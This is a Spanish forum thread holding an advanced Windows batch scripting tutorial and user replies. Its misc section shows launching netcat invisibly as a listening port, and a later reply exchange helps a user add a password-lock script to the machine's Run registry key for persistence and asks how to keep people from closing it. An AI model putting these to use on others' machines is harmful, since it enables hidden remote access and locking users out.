Foro de elhacker.net

Programaciˇn => Scripting => Mensaje iniciado por: sirdarckcat en 24 Julio 2006, 10:01



Título: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 24 Julio 2006, 10:01
Programaciˇn BATCH Avanzada.

Temario.
1.- Variables y Argumentos.
2.- Imprimir caracteres de comandos.
3.- Algunas otras variables de Entorno.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF


Variables y Argumentos

El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones matemßticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar  cadenas de texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros.

Los argumentos que recibe un batch, son recibidos de la siguiente forma:

batch argumento1 dos tres

hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres

en %0 se guardara, el nombre del archivo.

Podemos borrar el contenido de un parametro con el comando shift:

Código
  1. @echo off
  2. echo %0 %1 %2 %3
  3. echo %0 %1 %2 %3
  4.  

al llamar:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring 123 456 789
  2. astring 123 456 789
  3. astring 456 789
  4.  

shift borro, el primer argumento.

Tambien contamos con los siguientes modificadores para los archivos:

Código
  1.       %~f1        - regresa la ruta y el archivo de %1.
  2.       %~d1        - regresa la letra de la unidad de %1.
  3.       %~p1        - regresa solo la ruta del archivo %1.
  4.       %~n1        - regresa solo el nombre de archivo %1.
  5.       %~x1        - regresa solo la extension del archivo %1.
  6.       %~s1        - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.
  7.       %~a1        - regresa los atributos del archivo.
  8.       %~t1        - regresa la hora/fecha del archivo %1
  9.       %~z1        - regresa el tama˝o del archivo %1.
  10.  

por ejemplo:

en un directorio donde tenemos:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>dir
  2. El volumen de la unidad C no tiene etiqueta.
  3. El n˙mero de serie del volumen es: A057-553B
  4.  
  5. Directorio de C:\Documents and Settings\Administrador\tempcurso
  6.  
  7. 24/07/2006  12:25a      <DIR>          .
  8. 24/07/2006  12:25a      <DIR>          ..
  9. 24/07/2006  12:25a                   6 archivo.txt
  10.               1 archivos              6 bytes
  11.               2 dirs  401,715,161,088 bytes libres
  12.  

este batch:

Código
  1. @echo off
  2. echo Ruta al archivo: %~f1
  3. echo Disco: %~d1
  4. echo Solo ruta: %~p1
  5. echo Nombre: %~n1
  6. echo Extension: %~x1
  7. echo Ruta Corta: %~s1
  8. echo Atributos: %~a1
  9. echo Fecha: %~t1
  10. echo Tama˝o: %~z1
  11.  

llamandolo analiza.bat, saca el siguiente resultado:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>analiza archivo.txt
  2. Ruta al archivo: C:\Documents and Settings\Administrador\tempcurso\archivo.txt
  3. Disco: C:
  4. Solo ruta: \Documents and Settings\Administrador\tempcurso\
  5. Nombre: archivo
  6. Extension: .txt
  7. Ruta Corta: C:\DOCUME~1\ADMINI~1\TEMPCU~1\archivo.txt
  8. Atributos: --a------
  9. Fecha: 24/07/06 12:25a
  10. Tama▒o: 6
  11.  

Tambien podemos usar varias propiedades, por ejemplo, este codigo:
Código
  1. @echo off
  2.  
  3. echo %~anxt1
  4.  

saca este resultado:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>analiza archivo.txt
  2. --a------ 24/07/06 12:25a archivo.txt
  3.  

Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se debe poner entre comillas, algo asi:

astring "parametro de varias letras"

al obtenerlo, en %1, lo recibimos con comillas, pero si usamos:

Código
  1. @echo off
  2. echo Con Comillas: %1
  3. echo Sin Comillas: %~1
  4.  

saca este resultado:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring "parametro de varias letras"
  2. Con Comillas: "parametro de varias letras"
  3. Sin Comillas: parametro de varias letras
  4.  

Y por ejemplo, si queremos obtener todos los argumentos, se usa:

%*

es decir:

Código
  1. @echo off
  2.  
  3. echo Argumentos: %*
  4.  

al ejecutar:

astring parametro de varias letras

nos regresa:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring parametro de varias letras
  2. Argumentos: parametro de varias letras

Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:

set /P variable=

por ejemplo:
Código
  1. @echo off
  2. echo ┐Como te llamas?
  3. set /P miva=
  4.  
  5. echo Tu te llamas %miva%
  6.  

hara algo asi:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring
  2. &#9488;Como te llamas?
  3. Juan
  4. Tu te llamas Juan
  5.  

Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:

Código
  1. @echo off
  2. echo Escribe tu Nombre
  3. set /P NOM=
  4. echo %NOM:~-3%
  5.  

Aqui lo que estamos haciendo en la ultima linea:

%NOM:~-3%
hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.

por ejemplo, esto:

%NOM:~1,3%

obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda)

Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis:
Código
  1. @echo off
  2. echo Escribe una frase
  3. set /P FRA=
  4. echo %FRA:e=XXX%

esto reemplazara las letras "e" por "XXX".

Para hacer calculos matematicos, se usa el modificado /A, de esta forma:

Código
  1. @echo off
  2. set /A x=1
  3. echo %x%
  4. set /A x=x*9
  5. echo %x%
  6.  

tenemos las siguientes operaciones disponibles:

Código
  1. ()                  - agrupar
  2. * / %               - operadores aritmÚticos
  3. + -                 - operadores aritmÚticos
  4. << >>               - may˙s lˇgica
  5. &                   - AND
  6. ^                  - XOR
  7. |                   - OR
  8. = *= /= %= += -=    - asignaciˇn
  9.  &= ^= |= <<= >>=
  10. ,                   - separador de expresiˇn
  11.  

Con este podemos usar numeros hexadecimales de la siguiente forma:

Código
  1. @echo off
  2. set /A x=2
  3. echo %x%
  4. set /A x=x*0xff
  5. echo %x%

al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal.



Imprimir caracteres sin usar comandos

Ahora, se preguntaran, en las variabes, siempre usamos los signos %
Como imprimes uno?

veamos:

Código
  1. @echo off
  2. set x=pru
  3. set pru=HOLA
  4.  
  5. :: Esto imprimira el contenido de x
  6. echo %x%
  7.  
  8. ::Esto imprimira la letra x
  9.  
  10. ::Esto imprimira %x%
  11. echo %%x%%
  12.  
  13. ::Esto imprimira el valor de x entre %%
  14. echo %%%x%%%
  15.  
  16. :: Lo mismo
  17. echo %pru%
  18. echo %%pru%%
  19. echo %%%pru%%%
  20.  

En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces.

Para otros caracteres, que ejecutan alguna accion en batch como:
&
|
<
>

debes colocar este caracter antes:^

por ejemplo:

Código
  1. echo <html><h1>Hola</h1></html> >index.html
  2.  

no funcionara, pero:

Código
  1. echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html
  2.  

dara:
Código
  1. C:\Documents and Settings\Administrador\tempcurso>type index.html
  2. <html><h1>Hola</h1></html>
  3.  



Algunas otras variables de entorno

Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y HOMEPATH, por ejemplo:

Código
  1. @echo off
  2. echo Directorio Actual: %CD%
  3. echo Fecha: %DATE%
  4. echo Hora: %TIME%
  5. echo Numero Aleatorio: %RANDOM%
  6.  
dara como resultado:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring
  2. Directorio Actual: C:\Documents and Settings\Administrador\tempcurso
  3. Fecha: Lun 24/07/2006
  4. Hora:  2:13:49.33
  5. Numero Aleatorio: 24523
  6.  
  7. C:\Documents and Settings\Administrador\tempcurso>astring
  8. Directorio Actual: C:\Documents and Settings\Administrador\tempcurso
  9. Fecha: Lun 24/07/2006
  10. Hora:  2:13:51.60
  11. Numero Aleatorio: 3681
  12.  

Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio actual, por ejemplo:

Código
  1. @echo off
  2. echo %CD%
  3. echo %CD%
  4. echo %CD%
  5.  

PUSHD funciona de la siguiente manera:

Guarda el directorio actual., y va a la ruta especificada.

POPD regresa al directorio guardado por PUSHD

podemos usarlos uno dentro de otro, asi:

Código
  1. @echo off
  2. echo %CD%
  3. echo %CD%
  4. PUSHD %homepath%
  5. echo %CD%
  6. echo %CD%
  7. echo %CD%
  8.  



IF

If, reconoce varias situaciones:

valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas

como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones.

al hacer

IF ERRORLEVEL 1 @echo ok ELSE @echo no

estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO.

tambien podemos comparar cadenas, por ejemplo:

Código
  1. @echo off
  2. IF "%~1"=="hola" echo hola
  3.  

usamos %~1 para que aunque el usuario ponga comillas, no salga error ;)

Código
  1. @echo off
  2. IF /I "%~1"=="hola" echo hola
  3.  

este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion.

ahora, podemos usar IF en varias lineas:

Código
  1. @echo off
  2. IF EXIST %~snx1 (
  3. echo EXISTE!
  4. ) ELSE (
  5. echo NO EXISTE
  6. )
  7.  

con parentesis ().

si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparaciˇn:

Código
  1.  
  2.    EQU - igual
  3.    NEQ - no igual
  4.    LSS - menor que
  5.    LEQ - menor que o igual
  6.    GTR - mayor que
  7.    GEQ - mayor que o igual
  8.  
  9.  

por ejemplo:

Código
  1. @echo off
  2. echo Cual es tu edad?
  3. SET /P m=
  4. IF %m% GEQ 18 (
  5. echo ERES MAYOR DE EDAD
  6. ) ELSE (
  7. echo NO ERES MAYOR DE EDAD
  8. )
  9.  

que regresa:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>acon
  2. Cual es tu edad?
  3. 19
  4. ERES MAYOR DE EDAD
  5.  
  6. C:\Documents and Settings\Administrador\tempcurso>acon
  7. Cual es tu edad?
  8. 17
  9. NO ERES MAYOR DE EDAD
  10.  

Tambien podemos saber si una variable ya fue definida:

Código
  1. IF DEFINED var (
  2. echo SI
  3. ) ELSE (
  4. echo NO
  5. )
  6.  



FOR

FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos.

Tambien permite hacer bucles de la siguiente manera:

Código
  1. FOR /L %%var IN (inicio,incremento,fin) DO (acciones)

inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:

Código
  1. FOR /L %%i IN (0,1,10) DO (echo %%i)
imprimira 0 1 2 3 4 5 6 7 8 9 10

sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo:

Código
  1. FOR %%x in (x*) DO echo %%x
mostrarß todos los archivos que empiezan con x.

para SOLO mostrar directorios:
Código
  1. FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrarß solo los directorios, que empiesen con m.

El comando se puede hacer "recursivo", es decir, que se ejecute  dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:

Código
  1. &#9500;&#9472;&#9472;&#9472;adios
  2. &#9474;   &#9492;&#9472;&#9472;&#9472;algo
  3. &#9474;       &#9492;&#9472;&#9472;&#9472;xx
  4. &#9492;&#9472;&#9472;&#9472;hola
  5.  

al ejecutar el comando:
Código
  1. FOR /R /D %%x in (a*) DO echo %%x
  2. C:\adios
  3. C:\adios\algo

sinembargo, al ejecutar el comando..
Código
  1. FOR /R %%x in (*x*) DO echo %%x
  2. C:\ax.txt
  3. C:\adios\sx.txt
  4. C:\adios\wwx.txt
  5. C:\adios\algo\kkx.txt
  6. C:\adios\algo\xx\xx.txt
  7. C:\hola\ax.txt
  8. C:\hola\rx.txt

nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.

Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:

Código
  1. FOR /F ["opciones"] %var IN (conjunto) DO (acciones)

conjunto puede ser:
conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" ")
comando -> con comilla simple (' ')

las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos.

por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`

Nota: [`] es diferente al caracter de acento [┤]

por ejemplo, el siguiente comando:

Código
  1. FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa en los demas.") DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q

dara de resultado:
Código
  1. George es malvado, es tonto, siempre piensa en matar a los demas.



Funciones

El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo.

Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de funcion y recibir parametros.

miren, el siguiente programa:
Código
  1. @echo off
  2. call:funcion 1 2 3
  3. call:funcion %*
  4. goto:EOF
  5. :funcion
  6. echo Estoy en: %~nx0-^>%0 %*

al ser llamado, por ejemplo en:
Código
  1. C:\>ejemplo
  2. Estoy en: ejemplo.bat->:funcion 1 2 3
  3. Estoy en: ejemplo.bat->:funcion
el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados al programa.
en este otro ejemplo:
Código
  1. C:\>ejemplo HOLA MUNDO
  2. Estoy en: ejemplo.bat->:funcion 1 2 3
  3. Estoy en: ejemplo.bat->:funcion HOLA MUNDO
la funcion obtiene tambien los argumentos del programa.

hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Código
  1. @echo off&call:main&goto:EOF
  2.  
  3. :suma
  4. set /A res=%1 + %2
  5. echo %res%
  6. goto:EOF
  7.  
  8. :resta
  9. set /A res=%1 - %2
  10. echo %res%
  11. goto:EOF
  12.  
  13. :multiplica
  14. set /A res=%1 * %2
  15. echo %res%
  16. goto:EOF
  17.  
  18. :main
  19. set /P arg=Escribe 2 numeros separados por un espacio
  20. echo %arg%
  21. echo su suma es:
  22. call:suma %arg%
  23.  
  24. echo su resta es:
  25. call:resta %arg%
  26.  
  27. echo su producto es:
  28. call:multiplica %arg%
  29.  
  30. goto:EOF
  31.  

como podemos ver goto:EOF se usa para regresar al orden de comandos.

el resultado es algo asi:

Código
  1. C:\>operaciones
  2. Escribe 2 numeros separados por un espacio 6 2
  3. 6 2
  4. su suma es:
  5. 8
  6. su resta es:
  7. 4
  8. su producto es:
  9. 12
  10.  



Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
archivo_a_incluir.bat funcion argumentos
y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF

queda algo asi:
Código
  1. @echo off&call:%*&goto:EOF
  2. :funcion1
  3. ...
  4. :funcion2
  5. ...
  6.  

por ejemplo:

--inclu.bat--
Código
  1. @echo off&call:%*&goto:EOF
  2.  
  3. :cabeza
  4. echo ###############
  5. echo # Hecho por:  #
  6. echo # sirdarckcat #
  7. echo ###############
  8. goto:EOF
  9.  
  10. :uso
  11. echo uso:
  12. echo %~nx0 Nombre
  13. goto:EOF
  14.  
  15. :nombre
  16. echo Hola %*
  17. goto:EOF
  18.  

--inicio.bat--
Código
  1. @echo off
  2. if "%~1"=="" (
  3. inclu.bat cabeza
  4. inclu.bat uso
  5. ) else (
  6. inclu.bat nombre %~1
  7. )
  8.  

esto daria este resultado:

Código
  1. C:\>inicio
  2. ###############
  3. # Hecho por:  #
  4. # sirdarckcat #
  5. ###############
  6. uso:
  7. inclu.bat Nombre
  8.  
  9. C:\>inicio sirdarckcat
  10. Hola sirdarckcat
  11.  
  12. C:\>
  13.  



Misc
Algunos filtros y comandos interesantes:

  • comando | more
muestra el resultado del comando de forma paginada

  • comando | sort
muestra el resultado del comando de forma ordenada

  • TITLE "algo"
cambia el titulo de la ventana de CMD

  • SUBST ruta/a/alguna/carpeta [letra_unidad]
asgina a letra_unidad la ruta de acceso

  • FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)

  • FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a grep), descripciˇn detallada:
Código
  1. Busca cadenas en los archivos.
  2.  
  3. FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
  4. [/F:archivo]
  5.   [/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]
  6.   [cadenas] [[unidad:][ruta]nombredearchivo[ ...]]
  7.  
  8.  /B        Hace coincidir los modelos si estßn al principio de la lÝnea.
  9.  /E        Hace coincidir los modelos si estßn al final de la lÝnea.
  10.  /L        Literalmente utiliza cadenas de b˙squeda.
  11.  /R        Utiliza cadenas sde b˙squeda como expresiones regulares.
  12.  /S        Busca archivos que coinciden en el directorio actual y en todos
  13.            los subdirectorios.
  14.  /I        Especifica que la b˙squeda no distingue may˙sculas de min˙sculas.
  15.  /X        Imprime lÝneas que coinciden con exactitud.
  16.  /V        Sˇlo imprime lÝneas que no contienen una correspondencia.
  17.  /N        Imprime el n˙mero de la lÝnea antes de la lÝnea que coincide.
  18.  /M        Sˇlo imprime el nombre de archivo si el archivo contiene una
  19.            correspondencia.
  20.  /O        Imprime un carßcter de desplazamiento antes de las lÝneas que
  21.            coinciden.
  22.  /P        Omite archivos con caracteres que no son imprimibles
  23.  /A:attr   Especifica atributos de color con dos dÝgitos hexadecimales. Ver
  24.            "color /?"
  25.  /F:archivo  Lee la lista de archivos desde el archivo especificado
  26.            (/ significa consola).
  27.  /C:cadena   Utiliza una cadena especificada como una b˙squeda de cadena
  28.            literal.
  29.  /G:archivo  Coje la b˙squeda de archivos desde el archivo especificado
  30.            (/ significa consola).
  31.  /D:dir    Busca un signo de punto y coma de la lista delimitada de
  32.            directorios
  33.  cadenas   Texto que se debe buscar.
  34.  [unidad:][ruta]nombredearchivo
  35.            Especifica un archivo o  archivos que buscar.
  36.  
  37. Utiliza espacios para separar m˙ltiples cadenas de b˙squeda a no ser que
  38. el argumento lleve un prefijo con /C.  Por ejemplo, 'FINDSTR "quÚ tal" x.y'
  39. busca "quÚ" o "tal" en el archivo x.y.  'FINDSTR /C:"quÚ tal" x.y' busca
  40. "quÚ tal" en el archivo x.y.
  41.  
  42. Expresiˇn regular de referencia rßpida:
  43.  .        ComodÝn: cualquier carßcter
  44.  *        Repetir: cero o mßs ocurrencias de un carßcter previo o de clase
  45.  ^       Posiciˇn de lÝnea: comienzo de la lÝnea
  46.  $        Posiciˇn de lÝnea: fin de lÝnea
  47.  [clase]  Clase de carßcter: cualquier carßcter en la serie
  48.  [^class] Clase inversa: cualquier carßcter que no estÚ en la serie
  49.  [x-y]    Intervalo: cualquier carßcter que estÚ dentro del intervalo
  50.           especificado
  51.  \x       Escape: uso literal de un metacarßcter x
  52.  \<xyz    Posiciˇn de palabra: principio de palabra
  53.  xyz\>    Posiciˇn de palabra: fin de palabra
  54.  
  55. Para obtener una informaciˇn mßs completa sobre expresiones regulares de
  56. FINDSTR referirse al Comando de referencia Command en lÝnea.
  57.  
  58.  

  • start "titulo ventana nueva" [OPCIONES] comando argumentos
START tiene mas opciones de las que son usadas comunmente.
"titulo ventana nueva" especifica el titulo de la ventana que se generarß.

las opciones entre otros contienen:
/Druta - el programa inicia en el directorio..
/B - la aplicaciˇn se inicia sin ventana
/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta sesion, no afectaran el nuevo programa
/MIN - La nueva ventana se inicia minimisada
/MAX - La nueva ventana se inicia maximisada
/SEPARATE - El programa se inicia en una zona de memoria separada
/SHARED - El programa se inicia en una zona de memoria compartida

Iniciar en prioridades:

/LOW - baja
/NORMAL - normal
/HIGH - alta
/REALTIME - tiempo real
/ABOVENORMAL - sobre lo normal
/BELOWNORMAL - debajo de lo normal

/WAIT - Inicia el programa, y espera hasta que termine de ejecutarse

por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer algo asi:

start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit

que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en %windir%


EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve para terminar el documento :), espero les sirva ;)


(c) Sirdarckcat 2006
Autorizo la reproducciˇn total o parcial de este documento bajo la licencia de documentaciˇn libre de GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt



Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Ilorev en 19 Diciembre 2006, 21:14
Heyyy esta muy bueno !! lo voy a leer cuando tenga tiempo .... ;D ;D ;D ;D ;D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Hendrix en 19 Diciembre 2006, 22:47
Y esto es de julio del 2006???? :-\ :-\ :-\

Clap, Clap, Clap....fenomenal!!!! ;D ;D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 20 Diciembre 2006, 01:03
Estama oculto en papelera xD, (pero incompleto), por eso dice julio 2006 :P

Saludos!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Apache14 en 20 Diciembre 2006, 02:47
Oye Sirdarckcat has hecho un gran aporte a la humanidad, la verdad ya llevo tiempo programando en Batch y nunca habia visto algo igual, se te agradece man.

(http://img289.echo.cx/img289/513/matrix19ze.gif)(http://img289.echo.cx/img289/2485/matrix21ta.gif)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: kanzix en 24 Diciembre 2006, 16:40
Exelente sdc!! te a quedado muy bien :P

salu2  ;D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: ne0x en 26 Diciembre 2006, 19:38
La verdad es que es lo que busacaba, la unica forma de progresar un poco en batch era investigar en la shell, esta muy bien este manual.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Kefren en 28 Marzo 2007, 12:53
Seee, yo tambien buscaba algo asi, gracias Sirdarckcat

SaluDOS


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Ture en 28 Junio 2007, 23:50
buenas caballero xq no me funciona esto?

@echo off
set hola=time /T
time /T
echo %hora%

por quÚ me da esto?
C:\>jan.bat
23:50
time /T

C:\>

y no
C:\>jan.bat
23:50
23:50

C:\>

muchas gracias caballero!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 29 Junio 2007, 01:37
no funciona porque no puedes eso :P
usa:

%TIME%

eso siempre te regresa la hora.

Saludos!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Luzbelitox en 30 Junio 2007, 05:20
felicitaciones Sirdarckcat, tenia problemas con el for pero ya estoy entendiendo mejor..
gracias! y saludos!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Ture en 30 Junio 2007, 22:03
creo que no me explique bien con el ejemplo sorry, lo que yo quiero hacer es en una variable string meter el resultado del output de un programa, ya sea el time, como el date o el ture.exe que me devuelve un numero aleatorio del 1 al 10

muchas gracias!!!

PD: lo estoy haciendo actualmente con la dll de cygwin y usando la potencia de  bash, pero me gustarÝa dejar un .bat limpito y no usar ese tipo de ˝apas

saludos!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 30 Junio 2007, 23:45
Puedes usar FOR..

FOR /F "" %%i IN ('time /T') DO set hola=%%i

Saludos!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Ture en 10 Julio 2007, 20:46
tio eres un crack! ;) muchÝsimas gracias, es cojonudo tu tuto


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: TxShack en 11 Julio 2007, 15:11
Bueno, queria saber si me podriais ayudar con este batch

Lo que quiero es que se a˝ada al registro run pero no consigo hacerlo... algo debo de acer malalgo.. pero no se que... ace muchisimo que no uso los batch, porq se me daban bien.. pero se me an olvidado cosas poco a poco y aora no me sale esto

El codigo que qiero q salga es este:

Citar
@echo off
:menu
echo.
echo INTRODUCIR CLAVE
echo.
set/p clave=
if %clave%==fark (goto bien) else goto :menu
:bien
cls
echo.
echo ACCESO VALIDADO
echo.
pause
exit

Lo e estado intentando varias veces pero no lo consigo... e provado esto.. poro no funciona

Citar
@echo off
cd c:\
echo @echo off > pass.bat
echo :menu >> pass.bat
echo echo. >> pass.bat
echo INTRODUCIR CLAVE >> pass.bat
echo echo. >> pass.bat
echo set/p clave= >> pass.bat
echo if %clave%==fark (goto bien) else goto :menu >> pass.bat
echo :bien >> pass.bat
echo cls >> pass.bat
echo echo. >> pass.bat
echo echo ACCESO VALIDADO >> pass.bat
echo echo. >> pass.bat
echo pause >> pass.bat
echo exit >> pass.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v pass.bat /t reg_sz /d C:\ /f
start c:\pass.bat
exit

Estare haciendo algo mal.. pero no se que... la cuestion es q no funciona..

Provadlo y vereis, y si me podeis ayudar os lo agradeceria ^^

bueno, y una ultima cosa... q tendria q a˝adirle para que quien lo ejecute no pueda dar a la X.. osea, q si intenta cerrar no pueda. Gracias

Un saludo

TxShack


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: It@c|-|i en 30 Julio 2007, 18:10
buenas TxShack ya han pasado unos dias ... espero no responder tarde esto xD soy nuevo por aca pero por si aun no lo encuentras.. no es tan dificil solo que apenas lei tu post :P hace nos minutos...

solo usaste un poco mal la adicion al registro y una de tus lineas esta mal
tu linea mal es esta le falta el echo
Citar
echo INTRODUCIR CLAVE >> pass.bat
cambiala por
echo echo INTRODUCIR CLAVE >> pass.bat
y la linea del registro va asi..
Citar
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v pass /t reg_sz /d C:\pass.bat /f
recuerda que /v asigna el nombre del valor a agregar y en /d el archivo a ejecutar porque si lo dejas en c:\ solo abriras el explorer en C..
cuidate ..
----------modificado---------
ohhh se me olvido una linea mas pero aca esta
Citar
echo if %clave%==fark (goto bien) else goto :menu >> pass.bat
esa linea no va a escribir en tu archivo asi por los % necesitas aumentarle otro mas a cada uno para que en el otro archivo escriba los %, esta de abajo debes usar:
Citar
echo if %%clave%%==fark (goto bien) else goto :menu >> pass.bat


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: TxShack en 31 Julio 2007, 12:16
Muchas gracias por la ayuda... del fallo del echo echo INTRODUCIR CLAVE me di cuenta mas tarde, pero de los otros no ^^

Gracias de nuevo

Un saludo

TxShack


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: jaimico195 en 4 Agosto 2007, 23:40
una preguntita jeje esta medio tonta pero espero no fastidiarlos ni quitarles el tiempo jeje esque soy nuevo pero ya lei varios manuales de batch pero me segui a este pero no lo entiendo, el principio se me dificulta.
miren mi code no me funciona:

echo me llamo mico, mi edad es de 15 a˝os
echo %3 %5 %8 %9

y quisiera que salga mico, edad 15 a˝os
pero me dice algo asi "echo esta activado"

lo he hecho con varios codigos diferentes, a˝adiendole @echo off cambiado cositas pero siempre me aparece "echo esta activado", espero que me puedan ayudar esque yo me vaso en los ejemplos(los codigos) porque los modifico y los entiendo entonces si me ponen un codigo que si me muestre eso que puse ya con eso sigo con el manual jeje gracias.
saludos jaimico195


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Siuto en 4 Agosto 2007, 23:48
Cuando usas %1, %2, ..., 9% te estas refiriendo a los argumentos que estas pasandole al programa proba lo siguiente:

Código:
@echo off

echo %3 %5 %8 %9

A este programa pasale como argumento me llamo mico, mi edad es de 15 a˝os

Ahi si tendria que funcionar (En los argumentos no copie el echo).
Si no se entiende avisa que se explica mejor entonces...


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: jaimico195 en 5 Agosto 2007, 00:12
jeje la verdad no le entendi donde poner me llamo mico, mi edad es de 15 a˝os
la verdad nunca entendi que es el argumento deseguro muchas veces lo aplico pero no se como se llama
me podrias poner un completo ya con todo y el argumento
osea que es todo lo que tengo que hacer porque si me pones
c:\mico>>lo que sea        y eso no entiendo ni que es, solo entiendo que es >> que es que se va a poner en la siquiente linea del texto que escoja, soy medio malo para entenderle jeje, hasme un miniejercicio porfa si tienes tiempo jeje esque no me gusta molestar mucho por mi lentitud de aprendizaje jeje.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Siuto en 5 Agosto 2007, 01:01
Los argumentos del programa se especifican cuando lo corres desde el MS-DOS por ejemplo.

Para abrir el programa desde MS-DOS por ejemplo guarda tu archivo.bat en C:\archivo.bat y luego hace lo siguiente:

Código:
Inicio >> Ejecutar... >> cmd >> C:\archivo.bat

ahi lo que hiciste fue abrir el archivo desde MS-DOS sin pasar ningun argumento al mismo.


